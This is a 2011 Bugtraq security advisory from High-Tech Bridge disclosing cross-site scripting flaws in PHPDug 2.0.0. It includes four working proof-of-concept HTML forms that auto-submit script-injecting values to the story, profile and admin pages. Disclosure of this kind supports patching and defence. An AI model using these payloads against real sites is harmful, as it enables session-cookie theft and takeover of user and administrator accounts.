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Date: Thu, 5 May 2011 11:30:34 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22970: Multiple XSS vulnerabilities in PHPDug

Vulnerability ID: HTB22970
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_phpdug.html
Product: PHPDug
Vendor: Kubelabs.com ( http://www.kubelabs.com/ ) 
Vulnerable Version: 2.0.0 and probably prior versions
Vendor Notification: 21 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "add_story.php", "editprofile.php", "adm/content_add.php", "adm/admin_edit.php" scripts to properly sanitize user-supplied input in "story_url", "email", "title", "username" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

1.

<form action="http://host/add_story.php" method="post" name="main">
<input type="hidden" name="story_url" value='http://www.example.com/"><script>alert(document.cookie)</script>'>
<input type="hidden" name="Submit" value="Continue">
</form>
<script>
document.main.submit();
</script>


2.

<form action="http://host/editprofile.php" method="post" name="main">
<input type="hidden" name="email" value='email@...mple.com"><script>alert(document.cookie)</script>'>
<input type="hidden" name="commentst" value="-4">
<input type="hidden" name="Submit" value="Save Changes">
</form>
<script>
document.main.submit();
</script>


3.

<form action="http://host/adm/content_add.php" method="post" name="main">
<input type="hidden" name="id" value="999">
<input type="hidden" name="title" value='page"><script>alert(document.cookie)</script>'>
<input type="hidden" name="contentvalue="content">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>


4.

<form action="http://host/adm/admin_edit.php" method="post" name="main">
<input type="hidden" name="id[1]" value="1">
<input type="hidden" name="username[1]" value='admin<script>alert("XSS")</script>'>
<input type="hidden" name="password[1]" value="">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>



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